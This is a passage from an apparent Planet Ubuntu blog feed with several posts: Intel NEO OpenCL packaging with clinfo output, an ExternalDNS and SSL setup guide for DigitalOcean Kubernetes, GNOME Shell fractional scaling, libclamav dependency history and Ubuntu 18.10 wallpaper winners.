      <description><![CDATA[<p>The past few months I&#8217;ve been packaging the bits needed for Intel&#8217;s new OpenCL driver, which they call NEO. The packages are now finally ready, you can enable &#8216;ppa:canonical-x/x-staging&#8217; and install &#8216;intel-opencl&#8217; on Disco. After installing it this is what &#8216;clinfo&#8217; says on my laptop:</p>
<pre>Number of platforms                               1
  Platform Name                                   Intel(R) OpenCL HD Graphics
  Platform Vendor                                 Intel(R) Corporation
  Platform Version                                OpenCL 2.1 
  Platform Profile                                FULL_PROFILE
  Platform Extensions                             cl_khr_3d_image_writes cl_khr_byte_addressable_store
    cl_khr_fp16 cl_khr_depth_images cl_khr_global_int32_base_atomics cl_khr_global_int32_extended_atomics
    cl_khr_icd cl_khr_image2d_from_buffer cl_khr_local_int32_base_atomics cl_khr_local_int32_extended_atomics
    cl_intel_subgroups cl_intel_required_subgroup_size cl_intel_subgroups_short cl_khr_spir
    cl_intel_accelerator cl_intel_media_block_io cl_intel_driver_diagnostics cl_intel_device_side_avc_motion_estimation
    cl_khr_priority_hints cl_khr_throttle_hints cl_khr_create_command_queue cl_khr_fp64 cl_khr_subgroups
    cl_khr_il_program cl_intel_spirv_device_side_avc_motion_estimation cl_intel_spirv_media_block_io
    cl_intel_spirv_subgroups cl_khr_spirv_no_integer_wrap_decoration cl_khr_mipmap_image cl_khr_mipmap_image_writes
    cl_intel_planar_yuv cl_intel_packed_yuv cl_intel_motion_estimation cl_intel_advanced_motion_estimation
    cl_intel_va_api_media_sharing 
  Platform Host timer resolution                  1ns
  Platform Extensions function suffix             INTEL

  Platform Name                                   Intel(R) OpenCL HD Graphics
Number of devices                                 1
  Device Name                                     Intel(R) Gen9 HD Graphics NEO
  Device Vendor                                   Intel(R) Corporation
  Device Vendor ID                                0x8086
  Device Version                                  OpenCL 2.1 NEO 
  Driver Version                                  1.0.0
  Device OpenCL C Version                         OpenCL C 2.0 
  Device Type                                     GPU
  Device Profile                                  FULL_PROFILE
  Device Available                                Yes
  Compiler Available                              Yes
  Linker Available                                Yes
  Max compute units                               24
  Max clock frequency                             1100MHz
  Device Partition                                (core)
    Max number of sub-devices                     0
    Supported partition types                     None
    Supported affinity domains                    (n/a)
  Max work item dimensions                        3
  Max work item sizes                             256x256x256
  Max work group size                             256
  Preferred work group size multiple              32
  Max sub-groups per work group                   32
  Sub-group sizes (Intel)                         8, 16, 32
  Preferred / native vector sizes                 
    char                                                16 / 16      
    short                                                8 / 8       
    int                                                  4 / 4       
    long                                                 1 / 1       
    half                                                 8 / 8        (cl_khr_fp16)
    float                                                1 / 1       
    double                                               1 / 1        (cl_khr_fp64)
  Half-precision Floating-point support           (cl_khr_fp16)
    Denormals                                     Yes
    Infinity and NANs                             Yes
    Round to nearest                              Yes
    Round to zero                                 Yes
    Round to infinity                             Yes
    IEEE754-2008 fused multiply-add               Yes
    Support is emulated in software               No
  Single-precision Floating-point support         (core)
    Denormals                                     Yes
    Infinity and NANs                             Yes
    Round to nearest                              Yes
    Round to zero                                 Yes
    Round to infinity                             Yes
    IEEE754-2008 fused multiply-add               Yes
    Support is emulated in software               No
    Correctly-rounded divide and sqrt operations  Yes
  Double-precision Floating-point support         (cl_khr_fp64)
    Denormals                                     Yes
    Infinity and NANs                             Yes
    Round to nearest                              Yes
    Round to zero                                 Yes
    Round to infinity                             Yes
    IEEE754-2008 fused multiply-add               Yes
    Support is emulated in software               No
  Address bits                                    64, Little-Endian
  Global memory size                              13253832704 (12.34GiB)
  Error Correction support                        No
  Max memory allocation                           4294959104 (4GiB)
  Unified memory for Host and Device              Yes
  Shared Virtual Memory (SVM) capabilities        (core)
    Coarse-grained buffer sharing                 Yes
    Fine-grained buffer sharing                   No
    Fine-grained system sharing                   No
    Atomics                                       No
  Minimum alignment for any data type             128 bytes
  Alignment of base address                       1024 bits (128 bytes)
  Preferred alignment for atomics                 
    SVM                                           64 bytes
    Global                                        64 bytes
    Local                                         64 bytes
  Max size for global variable                    65536 (64KiB)
  Preferred total size of global vars             4294959104 (4GiB)
  Global Memory cache type                        Read/Write
  Global Memory cache size                        524288 (512KiB)
  Global Memory cache line size                   64 bytes
  Image support                                   Yes
    Max number of samplers per kernel             16
    Max size for 1D images from buffer            268434944 pixels
    Max 1D or 2D image array size                 2048 images
    Base address alignment for 2D image buffers   4 bytes
    Pitch alignment for 2D image buffers          4 pixels
    Max 2D image size                             16384x16384 pixels
    Max planar YUV image size                     16384x16352 pixels
    Max 3D image size                             16384x16384x2048 pixels
    Max number of read image args                 128
    Max number of write image args                128
    Max number of read/write image args           128
  Max number of pipe args                         16
  Max active pipe reservations                    1
  Max pipe packet size                            1024
  Local memory type                               Local
  Local memory size                               65536 (64KiB)
  Max number of constant args                     8
  Max constant buffer size                        4294959104 (4GiB)
  Max size of kernel argument                     1024
  Queue properties (on host)                      
    Out-of-order execution                        Yes
    Profiling                                     Yes
  Queue properties (on device)                    
    Out-of-order execution                        Yes
    Profiling                                     Yes
    Preferred size                                131072 (128KiB)
    Max size                                      67108864 (64MiB)
  Max queues on device                            1
  Max events on device                            1024
  Prefer user sync for interop                    Yes
  Profiling timer resolution                      83ns
  Execution capabilities                          
    Run OpenCL kernels                            Yes
    Run native kernels                            No
    Sub-group independent forward progress        Yes
    IL version                                    SPIR-V_1.0 
    SPIR versions                                 1.2 
  printf() buffer size                            4194304 (4MiB)
  Built-in kernels                                block_motion_estimate_intel;block_advanced_motion_estimate_check_intel;block_advanced_motion_estimate_bidirectional_check_intel;
  Motion Estimation accelerator version (Intel)   2
    Device-side AVC Motion Estimation version     1
      Supports texture sampler use                Yes
      Supports preemption                         No
  Device Extensions                               cl_khr_3d_image_writes cl_khr_byte_addressable_store cl_khr_fp16 cl_khr_depth_images cl_khr_global_int32_base_atomics cl_khr_global_int32_extended_atomics cl_khr_icd cl_khr_image2d_from_buffer cl_khr_local_int32_base_atomics cl_khr_local_int32_extended_atomics cl_intel_subgroups cl_intel_required_subgroup_size cl_intel_subgroups_short cl_khr_spir cl_intel_accelerator cl_intel_media_block_io cl_intel_driver_diagnostics cl_intel_device_side_avc_motion_estimation cl_khr_priority_hints cl_khr_throttle_hints cl_khr_create_command_queue cl_khr_fp64 cl_khr_subgroups cl_khr_il_program cl_intel_spirv_device_side_avc_motion_estimation cl_intel_spirv_media_block_io cl_intel_spirv_subgroups cl_khr_spirv_no_integer_wrap_decoration cl_khr_mipmap_image cl_khr_mipmap_image_writes cl_intel_planar_yuv cl_intel_packed_yuv cl_intel_motion_estimation cl_intel_advanced_motion_estimation cl_intel_va_api_media_sharing 

NULL platform behavior
  clGetPlatformInfo(NULL, CL_PLATFORM_NAME, ...)  Intel(R) OpenCL HD Graphics
  clGetDeviceIDs(NULL, CL_DEVICE_TYPE_ALL, ...)   Success [INTEL]
  clCreateContext(NULL, ...) [default]            Success [INTEL]
  clCreateContextFromType(NULL, CL_DEVICE_TYPE_DEFAULT)  Success (1)
    Platform Name                                 Intel(R) OpenCL HD Graphics
    Device Name                                   Intel(R) Gen9 HD Graphics NEO
  clCreateContextFromType(NULL, CL_DEVICE_TYPE_CPU)  No devices found in platform
  clCreateContextFromType(NULL, CL_DEVICE_TYPE_GPU)  Success (1)
    Platform Name                                 Intel(R) OpenCL HD Graphics
    Device Name                                   Intel(R) Gen9 HD Graphics NEO
  clCreateContextFromType(NULL, CL_DEVICE_TYPE_ACCELERATOR)  No devices found in platform
  clCreateContextFromType(NULL, CL_DEVICE_TYPE_CUSTOM)  No devices found in platform
  clCreateContextFromType(NULL, CL_DEVICE_TYPE_ALL)  Success (1)
    Platform Name                                 Intel(R) OpenCL HD Graphics
    Device Name                                   Intel(R) Gen9 HD Graphics NEO
  ICD loader properties
  ICD loader Name                                 OpenCL ICD Loader
  ICD loader Vendor                               OCL Icd free software
  ICD loader Version                              2.2.11
  ICD loader Profile                              OpenCL 2.1</pre>
<p>I&#8217;ll check with Intel if some of the &#8216;no devices found&#8217; are to be expected or not..</p>
<p>It&#8217;s still possible these might end up in the 19.04 release, we&#8217;ll see. They&#8217;re also uploaded to Debian, though with the Buster release keeping everyone busy I&#8217;m sure it&#8217;ll take some time to get them all through the NEW queue.</p>
<p>NOTE: if you already have the stack installed from Intel&#8217;s github repo, please uninstall it first. Otherwise there will be file conflicts since the package names won&#8217;t match.</p>]]></description>
      <source url="https://tjaalton.wordpress.com/feed/">Timo Aaltonen</source>
    </item>
    <item>
      <title>Setting Up a Domain with SSL on DigitalOcean Kubernetes using ExternalDNS and Helm</title>
      <link>//blog.andrewsomething.com/2019/04/04/external-dns-with-ssl-on-k8s/</link>
      <guid isPermaLink="true">//blog.andrewsomething.com/2019/04/04/external-dns-with-ssl-on-k8s/</guid>
      <pubDate>Thu, 04 Apr 2019 04:00:00 GMT</pubDate>
      <description><![CDATA[<p>A little while back I <a href="https://github.com/helm/charts/pull/11257">added support</a> for DigitalOcean to the ExternalDNS Helm chart, and I wanted to share my notes on how to use it. <a href="https://github.com/kubernetes-incubator/external-dns">ExternalDNS</a> is an extremely convenient tool that allows you to dynamically control <span class="caps">DNS</span> records for your Kubernetes resources just by adding an annotation. In this post, I&#8217;ll walk through how to install it with Helm and use it to point a domain at a Kubernetes service. I&#8217;ll also cover setting up <span class="caps">SSL</span> using a DigitalOcean managed <span class="caps">SSL</span> certificate on the load&nbsp;balancer.</p>
<p>First, a few&nbsp;assumptions:</p>
<ul>
<li>You have access to a Kubernetes cluster with&nbsp;kubectl</li>
<li>You have the <a href="https://helm.sh/docs/using_helm/#installing-the-helm-client">Helm client installed&nbsp;locally</a></li>
<li>Helm has been configured in the cluster using <a href="https://helm.sh/docs/using_helm/#tiller-and-role-based-access-control">a service account with the correct&nbsp;permissions</a></li>
<li>You have <code>doctl</code>, the DigitalOcean <span class="caps">CLI</span>, <a href="https://github.com/digitalocean/doctl#installing-doctl">installed&nbsp;locally</a></li>
<li>You have a <a href="https://www.digitalocean.com/docs/networking/dns/how-to/add-domains/">domain hosted on&nbsp;DigitalOcean</a></li>
</ul>
<h2>Installing ExternalDNS with&nbsp;Helm</h2>
<p>With all of that in place, the first thing to do is install ExternalDNS into the cluster. You will need to <a href="https://www.digitalocean.com/docs/api/create-personal-access-token/">generate a DigitalOcean <span class="caps">API</span> token</a> for it to use. It&#8217;s best to create a token specifically for this service rather than using one you may have in your local environment. Then run the following command replacing <code>$DO_API_TOKEN</code> with the token you&nbsp;generated:</p>
<div class="highlight"><pre><span></span>helm install --name external-dns \
  --set digitalocean.apiToken=$DO_API_TOKEN,provider=digitalocean,rbac.create=true \
  stable/external-dns
</pre></div>


<p>You can verify that it has been successfully installed by&nbsp;running:</p>
<div class="highlight"><pre><span></span>$ kubectl get pods -l <span class="s2">&quot;app=external-dns&quot;</span>
</pre></div>


<p>When ready, the output should look something like&nbsp;this:</p>
<div class="highlight"><pre><span></span>NAME                           READY     STATUS    RESTARTS   AGE
external-dns-68bfc948b-jhhrq   1/1       Running   0          34s
</pre></div>


<h2>Generating a DigitalOcean Managed <span class="caps">SSL</span>&nbsp;Certificate</h2>
<p>Next, use <code>doctl</code> to generate an <span class="caps">SSL</span> certificate managed by DigitalOcean making use of their Let&#8217;s Encrypt integration. Giving it a name and replacing <code>example.com</code> with your domain,&nbsp;run:</p>
<div class="highlight"><pre><span></span>doctl compute certificate create  --name k8s-cert \
  --type lets_encrypt --dns-names example.com
</pre></div>


<p>The output will include an <span class="caps">ID</span> that looks something like <code>9r3e053d-da5e-4390-b7b8-0fs23486e41q</code>. You&#8217;ll need that in the next&nbsp;step.</p>
<h2>Deploying the Kubernetes&nbsp;Service</h2>
<p>Now you are ready to deploy your service to the Kubernetes cluster. For this example we are using an <span class="caps">NGINX</span> container for the deployment, but that could be any application running in your cluster. The important part for this exercise is the LoadBalancer Service. Here is the full&nbsp;example:</p>
<div class="highlight"><pre><span></span><span class="n">kind</span><span class="o">:</span> <span class="n">Service</span>
<span class="n">apiVersion</span><span class="o">:</span> <span class="n">v1</span>
<span class="n">metadata</span><span class="o">:</span>
  <span class="n">name</span><span class="o">:</span> <span class="n">https</span><span class="o">-</span><span class="k">with</span><span class="o">-</span><span class="n">cert</span>
  <span class="n">annotations</span><span class="o">:</span>
    <span class="n">external</span><span class="o">-</span><span class="n">dns</span><span class="o">.</span><span class="na">alpha</span><span class="o">.</span><span class="na">kubernetes</span><span class="o">.</span><span class="na">io</span><span class="o">/</span><span class="n">hostname</span><span class="o">:</span> <span class="s2">&quot;example.com&quot;</span>
    <span class="n">service</span><span class="o">.</span><span class="na">beta</span><span class="o">.</span><span class="na">kubernetes</span><span class="o">.</span><span class="na">io</span><span class="o">/</span><span class="k">do</span><span class="o">-</span><span class="n">loadbalancer</span><span class="o">-</span><span class="n">redirect</span><span class="o">-</span><span class="n">http</span><span class="o">-</span><span class="n">to</span><span class="o">-</span><span class="n">https</span><span class="o">:</span> <span class="s2">&quot;true&quot;</span>
    <span class="n">service</span><span class="o">.</span><span class="na">beta</span><span class="o">.</span><span class="na">kubernetes</span><span class="o">.</span><span class="na">io</span><span class="o">/</span><span class="k">do</span><span class="o">-</span><span class="n">loadbalancer</span><span class="o">-</span><span class="n">certificate</span><span class="o">-</span><span class="n">id</span><span class="o">:</span> <span class="s2">&quot;9r3e053d-da5e-4390-b7b8-0fs23486e41q&quot;</span>
<span class="n">spec</span><span class="o">:</span>
  <span class="n">type</span><span class="o">:</span> <span class="n">LoadBalancer</span>
  <span class="n">selector</span><span class="o">:</span>
    <span class="n">app</span><span class="o">:</span> <span class="n">nginx</span><span class="o">-</span><span class="n">example</span>
  <span class="n">ports</span><span class="o">:</span>
    <span class="o">-</span> <span class="n">name</span><span class="o">:</span> <span class="n">https</span>
      <span class="n">protocol</span><span class="o">:</span> <span class="n">TCP</span>
      <span class="n">port</span><span class="o">:</span> <span class="mi">443</span>
      <span class="n">targetPort</span><span class="o">:</span> <span class="mi">80</span>

<span class="o">---</span>
<span class="n">apiVersion</span><span class="o">:</span> <span class="n">extensions</span><span class="o">/</span><span class="n">v1beta1</span>
<span class="n">kind</span><span class="o">:</span> <span class="n">Deployment</span>
<span class="n">metadata</span><span class="o">:</span>
  <span class="n">name</span><span class="o">:</span> <span class="n">nginx</span><span class="o">-</span><span class="n">example</span>
<span class="n">spec</span><span class="o">:</span>
  <span class="n">replicas</span><span class="o">:</span> <span class="mi">1</span>
  <span class="n">template</span><span class="o">:</span>
    <span class="n">metadata</span><span class="o">:</span>
      <span class="n">labels</span><span class="o">:</span>
        <span class="n">app</span><span class="o">:</span> <span class="n">nginx</span><span class="o">-</span><span class="n">example</span>
    <span class="n">spec</span><span class="o">:</span>
      <span class="n">containers</span><span class="o">:</span>
      <span class="o">-</span> <span class="n">name</span><span class="o">:</span> <span class="n">nginx</span>
        <span class="n">image</span><span class="o">:</span> <span class="n">nginx</span>
        <span class="n">ports</span><span class="o">:</span>
        <span class="o">-</span> <span class="n">containerPort</span><span class="o">:</span> <span class="mi">80</span>
          <span class="n">protocol</span><span class="o">:</span> <span class="n">TCP</span>
</pre></div>


<p>Let&#8217;s look a little closer at the <code>annotations</code> section:</p>
<div class="highlight"><pre><span></span>  annotations:
    external-dns.alpha.kubernetes.io/hostname: &quot;example.com&quot;
    service.beta.kubernetes.io/do-loadbalancer-redirect-http-to-https: &quot;true&quot;
    service.beta.kubernetes.io/do-loadbalancer-certificate-id: &quot;9r3e053d-da5e-4390-b7b8-0fs23486e41q&quot;
</pre></div>


<p><a href="https://kubernetes.io/docs/concepts/overview/working-with-objects/annotations/">Kubernetes annotations</a> are just metadata attached to a Kubernetes object. They can be used for anything from specifying a maintainer for the service to a git commit hash or other release information. They can also be used to pass on information to controllers. In our case, both the <a href="https://github.com/digitalocean/digitalocean-cloud-controller-manager">DigitalOcean Cloud Controller Manager</a> and the ExternalDNS controller are watching for services created with these annotations. Breaking down each&nbsp;one:</p>
<ul>
<li><code>external-dns.alpha.kubernetes.io/hostname</code> - Specifies the domain name to be assigned to the&nbsp;service</li>
<li><code>service.beta.kubernetes.io/do-loadbalancer-certificate-id</code> - Specifies the <span class="caps">ID</span> of the DigitalOcean managed <span class="caps">SSL</span>&nbsp;cert</li>
<li><code>service.beta.kubernetes.io/do-loadbalancer-redirect-http-to-https</code> - Configures the load balancer to automatically redirect clients from <span class="caps">HTTP</span> to <span class="caps">HTTPS</span></li>
</ul>
<p>After replacing the domain and certificate <span class="caps">ID</span> in the full example and saving it to a file, apply the configuration&nbsp;with:</p>
<div class="highlight"><pre><span></span>kubectl apply -f path/to/https-with-domain.yaml
</pre></div>


<p>Now let&#8217;s take a quick look at the logs for ExternalDNS by&nbsp;running:</p>
<div class="highlight"><pre><span></span>kubectl logs \
  `kubectl get pod -l app=external-dns -o jsonpath=&quot;{.items[0].metadata.name}&quot;`
</pre></div>


<p>When the record has been successfully configured, you will see two lines&nbsp;like:</p>
<div class="highlight"><pre><span></span>time=&quot;2019-04-04T01:19:11Z&quot; level=info msg=&quot;Changing record.&quot; action=CREATE record=example.com ttl=300 type=A zone=example.com
time=&quot;2019-04-04T01:19:12Z&quot; level=info msg=&quot;Changing record.&quot; action=CREATE record=example.com ttl=300 type=TXT zone=example.com
</pre></div>


<p>You might be wondering why it created two records. ExternalDNS uses <code>TXT</code> records to mark records that it manages. It will not modify any records without a corresponding <code>TXT</code> record.</p>
<h2>Wrapping It&nbsp;Up</h2>
<p>With our service successfully deployed, it will now be available at the configured domain with <span class="caps">SSL</span>. If we redeploy the service latter, the <span class="caps">DNS</span> record will persist even if the underlying <span class="caps">IP</span> address were to change. If you&#8217;re looking for more detail, here&#8217;s some further reading for&nbsp;you:</p>
<ul>
<li><a href="https://github.com/digitalocean/digitalocean-cloud-controller-manager/tree/master/docs/controllers/services/examples">Examples with additional configuration details for DigitalOcean load balancers using Kubernetes&nbsp;annotations</a></li>
<li><a href="https://github.com/helm/charts/tree/master/stable/external-dns#configuration">The full list of configuration details for the ExternalDNS Helm&nbsp;chart</a></li>
</ul>]]></description>
      <source url="http://blog.andrewsomething.com/feeds/all.atom.xml">Andrew SB</source>
    </item>
    <item>
      <title>Resource Scale for Fractional Scaling support in GNOME Shell 3.32</title>
      <link>https://blog.3v1n0.net/informatica/linux/gnome-shell-fractional-scaling-in-wayland-landed/</link>
      <guid isPermaLink="true">https://blog.3v1n0.net/informatica/linux/gnome-shell-fractional-scaling-in-wayland-landed/</guid>
      <pubDate>Mon, 04 Mar 2019 15:17:55 GMT</pubDate>
      <description><![CDATA[<p><a href="https://downloads.tuxfamily.org/3v1deb/wp-media/Schermata-da-2019-03-04-15-16-30.png"><em><img class="size-medium wp-image-886 alignleft" src="https://downloads.tuxfamily.org/3v1deb/wp-media//Schermata-da-2019-03-04-15-16-30-300x169.png" alt="Fractional Scaling Test" width="300" height="169" srcset="https://downloads.tuxfamily.org/3v1deb/wp-media/Schermata-da-2019-03-04-15-16-30-300x169.png 300w, https://downloads.tuxfamily.org/3v1deb/wp-media/Schermata-da-2019-03-04-15-16-30-768x432.png 768w, https://downloads.tuxfamily.org/3v1deb/wp-media/Schermata-da-2019-03-04-15-16-30-1024x576.png 1024w" sizes="(max-width: 300px) 100vw, 300px" /></em></a>The <em>fractional scaling era</em> for <strong>GNOME shell</strong> has finally arrived!</p>
<p>The <a href="https://www.reddit.com/r/gnome/comments/aw9dgg/fractional_scaling_support_with_gnome_332/" target="_blank" rel="noopener">news</a> spread out quite quickly, once last Friday <a href="https://gitlab.gnome.org/jadahl">Jonas</a> pressed <em>the button</em> and that triggered the last-second <strong>merge</strong> for the relevant proposals we prepared for <a href="https://gitlab.gnome.org/GNOME/mutter/merge_requests/3">Mutter</a> and <a href="https://gitlab.gnome.org/GNOME/gnome-shell/merge_requests/5">GNOME Shell</a> in order to get this available for GNOME 3.32.</p>
<p>As someone might recall, we started this work <a href="https://blog.3v1n0.net/informatica/linux/gnome-hackfest-for-fractional-scaling/">some years ago</a> (ouch!) and lead to an <a href="https://blog.3v1n0.net/informatica/linux/gnome-fractional-and-multi-monitor-scaling-hackfest-the-report/">Hackfest in Taipei,</a> but in between other work to do and priorities which caused this to be delayed a bit. While the first iteration was ready for some time now. But at every review we improved things fixing bugs (like missing scaled widgets) and optimizing some code paths, so hopefully this time helped in serving better quality :).</p>
<p>We&#8217;ve still quite a lot of work to do (see these issues for <a href="https://gitlab.gnome.org/GNOME/mutter/issues/478">mutter</a> and <a href="https://gitlab.gnome.org/GNOME/gnome-shell/issues/1008">shell</a>) and some fixes that we have in queue already, but the main task is there. So starting from now the shell will paint all its elements properly and in good <em>visual quality</em> at any fractional scaled value, and <span style="text-decoration: underline;">independently for every <em>monitor</em></span>.</p>
<div id="attachment_887" style="width: 660px" class="wp-caption aligncenter"><a href="https://downloads.tuxfamily.org/3v1deb/wp-media/Schermata-da-2019-03-04-15-05-08.png"><img class="wp-image-887" src="https://downloads.tuxfamily.org/3v1deb/wp-media//Schermata-da-2019-03-04-15-05-08-1024x329.png" alt="Multi-monitor fractional scaling" width="650" height="209" srcset="https://downloads.tuxfamily.org/3v1deb/wp-media/Schermata-da-2019-03-04-15-05-08-1024x329.png 1024w, https://downloads.tuxfamily.org/3v1deb/wp-media/Schermata-da-2019-03-04-15-05-08-300x96.png 300w, https://downloads.tuxfamily.org/3v1deb/wp-media/Schermata-da-2019-03-04-15-05-08-768x247.png 768w" sizes="(max-width: 650px) 100vw, 650px" /></a><p class="wp-caption-text">Monitors with different scaling values, and a window drawn in between the two</p></div>
<p>As you might have noticed in the screenshot above, the <strong>X11</strong> apps are still not really scaled in quality, while it&#8217;s not possible for them all (like <code>xterm</code> there), we need to work for a solution that will cover the legacy applications which does support scaling, and at the same time those which doesn&#8217;t want to be scaled at all (games!).</p>
<p>As per what said above, this feature is still considered <code>experimental</code> and then you need to enable it via:</p>
<blockquote>
<pre>gsettings set org.gnome.mutter experimental-features "['scale-monitor-framebuffer']"</pre>
</blockquote>
<p>Doing this will allow you to set more a wider set of scaling values under <strong>Control</strong> <strong>Center</strong>, display panel.</p>
<p>For what concerns <strong>Extensions</strong>, most of them should work with no change, but not those using directly the <code>St.TextureCache</code>, as <a href="https://gitlab.gnome.org/GNOME/gnome-shell/commit/420697693b2f659fd7faccdc5c675f25494f00e0#e2ad7fe6f7e31476aee3654eb0a17bd0deb5e437" target="_blank" rel="noopener">we changed the methods signature</a> by adding a <code>resource_scale</code> parameter.<br />
We discussed weather adding <em>another method instead</em> (as <a href="https://gitlab.gnome.org/GNOME/gobject-introspection/issues/4" target="_blank" rel="noopener">gir doesn&#8217;t support default values</a>), but since 3.32 will need anyway a rewrite of most extensions anyways, and since it&#8217;s better to have them to behave properly with resource scale since the beginning (instead of blurred contents), we decided not to do it.<br />
So, please sync with this change (and sorry :)).</p>
<p>Putting my <strong>Ubuntu</strong> hat now, this won&#8217;t change much things for <em>default ubuntu experience</em>, since it&#8217;s still using X11 (although I&#8217;ve something in the works for this too), but people who want to take advantage of this can easily just login using the <strong>Ubuntu on Wayland</strong> session, enable the experimental setting and profit.</p>
<p>As final world, <strong>thanks</strong> to people who helped having this in by reviewing and testing the code.</p>]]></description>
      <source url="http://blog.3v1n0.net/tag/planet-ubuntu/feed/">Marco Trevisan (Treviño)</source>
    </item>
    <item>
      <title>Rise and fall of libclamav</title>
      <link>https://skitterman.wordpress.com/2019/01/31/rise-and-fall-of-libclamav/</link>
      <guid isPermaLink="true">https://skitterman.wordpress.com/2019/01/31/rise-and-fall-of-libclamav/</guid>
      <pubDate>Thu, 31 Jan 2019 06:36:03 GMT</pubDate>
      <description><![CDATA[<p>Because I was bored and needed to procrastinate, I decided to look at the history of packages using libclamav over the last several releases. This is binary reverse-depends in main on i386:</p>
<table border="1" width="300" cellspacing="1">
<thead>
<tr valign="center">
<th width="100">
<p align="left">Release</p>
</th>
<th width="100">
<p align="left">libclamav soname</p>
</th>
<th width="100">
<p align="left">rdepends</p>
</th>
</tr>
</thead>
<tbody>
<tr valign="center">
<td width="100">
<p align="left">Sarge</p>
</td>
<td width="100">
<p align="left">libclamav1</p>
</td>
<td width="100">
<p align="left">2</p>
</td>
</tr>
<tr valign="center">
<td width="100">
<p align="left">Etch</p>
</td>
<td width="100">
<p align="left">libclamav2</p>
</td>
<td width="100">
<p align="left">9</p>
</td>
</tr>
<tr valign="center">
<td width="100">
<p align="left">Lenny</p>
</td>
<td width="100">
<p align="left">libclamav5</p>
</td>
<td width="100">
<p align="left">5</p>
</td>
</tr>
<tr valign="center">
<td width="100">
<p align="left">Squeeze</p>
</td>
<td width="100">
<p align="left">libclamav6</p>
</td>
<td width="100">
<p align="left">3</p>
</td>
</tr>
<tr valign="center">
<td width="100">
<p align="left">Wheezy</p>
</td>
<td width="100">
<p align="left">libclamav7</p>
</td>
<td width="100">
<p align="left">3</p>
</td>
</tr>
<tr valign="center">
<td width="100">
<p align="left">Jessie</p>
</td>
<td width="100">
<p align="left">libclamav7</p>
</td>
<td width="100">
<p align="left">4</p>
</td>
</tr>
<tr valign="center">
<td width="100">
<p align="left">Stretch</p>
</td>
<td width="100">
<p align="left">libclamav7</p>
</td>
<td width="100">
<p align="left">4</p>
</td>
</tr>
<tr valign="center">
<td width="100">
<p align="left">Buster</p>
</td>
<td width="100">
<p align="left">libclamav7</p>
</td>
<td width="100">
<p align="left">4</p>
</td>
</tr>
</tbody>
</table>
<p>I started working on clamav around Etch (in Ubuntu, so it&#8217;s not an exact match) and transitions were a blast back then. Every single soname bump needed significant sourceful changes. It killed quite a number of projects. Of the four we still have in Debian (dansguardian, havp, icap, and python-clamav) only the icap modules aren&#8217;t essentially dead upstream.</p>
<p>I guess API stability counts for something if you want people to use your library.</p>
<p>P.S. None of the people working on clamav today are the same as when we had 3 soname bumps in one release cycle.</p>
<p>&nbsp;</p>]]></description>
      <source url="https://skitterman.wordpress.com/category/Ubuntu/feed/atom">Scott Kitterman</source>
    </item>
    <item>
      <title>So I created a subreddit for interesting G+ refugees. Emphasis on interesting.</title>
      <link>https://blogs.gnome.org/mneptok/2019/01/28/so-i-created-a-subreddit-for-interesting-g-refugees-emphasis-on-interesting/</link>
      <guid isPermaLink="true">https://blogs.gnome.org/mneptok/2019/01/28/so-i-created-a-subreddit-for-interesting-g-refugees-emphasis-on-interesting/</guid>
      <pubDate>Mon, 28 Jan 2019 20:48:02 GMT</pubDate>
      <description><![CDATA[<p class="wp-block-paragraph">So I created a subreddit for interesting G+ refugees. Emphasis on interesting.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">Come and play. Be suave. Don&#8217;t be a dick.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">Edward Morbius</p>



<p class="wp-block-paragraph">Kee Hinckley</p>



<p class="wp-block-paragraph">Rugger Ducky</p>



<p class="wp-block-paragraph">Sarah Lester</p>



<p class="wp-block-paragraph">Ward A</p>



<p class="wp-block-paragraph">Tim S</p>



<p class="wp-block-paragraph">Matthew H</p>



<p class="wp-block-paragraph">Yoko F Thunders</p>



<p class="wp-block-paragraph">Dave Thompson</p>



<p class="wp-block-paragraph">Grumpy Cat</p>



<p class="wp-block-paragraph">catty _big</p>



<p class="wp-block-paragraph">Dan Ramos</p>



<p class="wp-block-paragraph">Di Cleverly</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">and the many more I know I&#8217;ve forgotten because I need an fud. And invite your friends!</p>


<p class="wp-block-paragraph"><a href="https://reddit.com/r/ploos" class="embedly-card external" data-card-recommend="0" data-card-width="100%">https://reddit.com/r/ploos</a></p>]]></description>
      <source url="http://blogs.gnome.org/mneptok/feed/">Kurt von Finck</source>
    </item>
    <item>
      <title>Announcing the Ubuntu 18.10 Free Culture Showcase winners</title>
      <link>https://www.nhaines.com/blog/2018/09/28/announcing-ubuntu-18.10-free-culture-showcase-winners/</link>
      <guid isPermaLink="true">https://www.nhaines.com/blog/2018/09/28/announcing-ubuntu-18.10-free-culture-showcase-winners/</guid>
      <pubDate>Fri, 28 Sep 2018 07:00:00 GMT</pubDate>
      <description><![CDATA[<p>October approaches, and Ubuntu marches steadly along the road from one LTS to another.  Ubuntu 18.10 is another step in Ubuntu’s future.  And now it’s time to unveil a small part of that change: the community wallpapers to be included in Ubuntu 18.10!</p>

<p>Every cycle, talented artists around the world create media and release it under licenses that encourage sharing and adaptation. This cycle we had some amazing images submitted to the <a href="https://www.flickr.com/groups/ubuntu-fcs-1810/">Ubuntu 18.10 Free Culture Showcase</a> photo pool on Flickr, where all eligible submissions can be found.  The competition was fierce; narrowing down the options to the final selections was painful!</p>

<p>But there can be only 12, and the final images that will be included in Ubuntu 18.10 are:</p>

<ul>
  <li><a href="https://www.flickr.com/photos/155485295@N04/28898305427/in/pool-ubuntu-fcs-1810/">Cosmic Cuttlefish</a> by Jim Coleman</li>
  <li><a href="https://www.flickr.com/photos/143512932@N03/29085424897/in/pool-ubuntu-fcs-1810/">Spring Flowers</a> by MK4-MI01</li>
  <li><a href="https://www.flickr.com/photos/mendhak/37748450101/in/pool-ubuntu-fcs-1810/">Carriage Return</a> by mendhak</li>
  <li><a href="https://www.flickr.com/photos/153219066@N06/41387651640/in/pool-ubuntu-fcs-1810/">Ubuntu Party de Paris</a> by Marcos Costales</li>
  <li><a href="https://www.flickr.com/photos/98223780@N05/41846068390/in/pool-ubuntu-fcs-1810/">Tapiola, Espoo Cultural Center</a> by Agostino Faedda</li>
  <li><a href="https://www.flickr.com/photos/14287735@N05/42055551820/in/pool-ubuntu-fcs-1810/">Fairground at Night</a> by martin</li>
  <li><a href="https://www.flickr.com/photos/tomas_sobek/42346768035/in/pool-ubuntu-fcs-1810/">Milky Way before the dawn</a> by Tomas Sobek</li>
  <li><a href="https://www.flickr.com/photos/38121135@N05/42996830034/in/pool-ubuntu-fcs-1810/">Black sand beach</a> by Mads Rosendahl</li>
